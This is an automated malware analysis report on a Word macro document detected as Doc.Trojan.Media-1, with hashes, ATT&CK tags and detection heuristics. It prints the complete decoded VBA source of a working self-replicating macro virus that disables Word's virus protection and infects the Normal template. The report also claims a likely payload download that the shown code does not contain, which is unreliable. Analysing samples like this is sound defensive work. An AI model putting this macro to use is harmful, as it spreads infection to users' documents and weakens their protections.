Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c0a489652b59261…

MALICIOUS

Office (OLE)

25.5 KB Created: 2001-08-26 08:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f1e91de519a4e4849beaf79c1ea6d773 SHA-1: cbb5783faa3f2e73f935665b03ebaa1d9ca9ea4f SHA-256: 5c0a489652b59261447f673a315d0674cb2b07825bcb1a8088c4ac94a6d8bb88
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro that attempts to disable virus protection and save the macro to the Normal template. The macro also includes a conditional message box and logic to copy its own code, suggesting an attempt to ensure execution or persistence. The ClamAV detection 'Doc.Trojan.Media-1' strongly indicates malicious intent, likely involving the download of a secondary payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Media-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Media-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 930 bytes
SHA-256: 2da75fbaf2563b7dfb8b1990db7085722521b839e99a8360495683c5debf555a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub document_open()
Options.VirusProtection = False
Options.SaveNormalPrompt = False

Set Target = ActiveDocument.VBProject.VBComponents(1).CodeModule
If Target.countoflines = 0 Then Target.addfromstring ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents(1).CodeModule.countoflines): ActiveDocument.Save

Set Target = NormalTemplate.VBProject.VBComponents(1).CodeModule
If Target.countoflines = 0 Then Target.addfromstring ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents(1).CodeModule.countoflines)

If Int(Rnd * 25) = 6 Then MsgBox "Dat mediatheekmens SUCKS!!!"
End Sub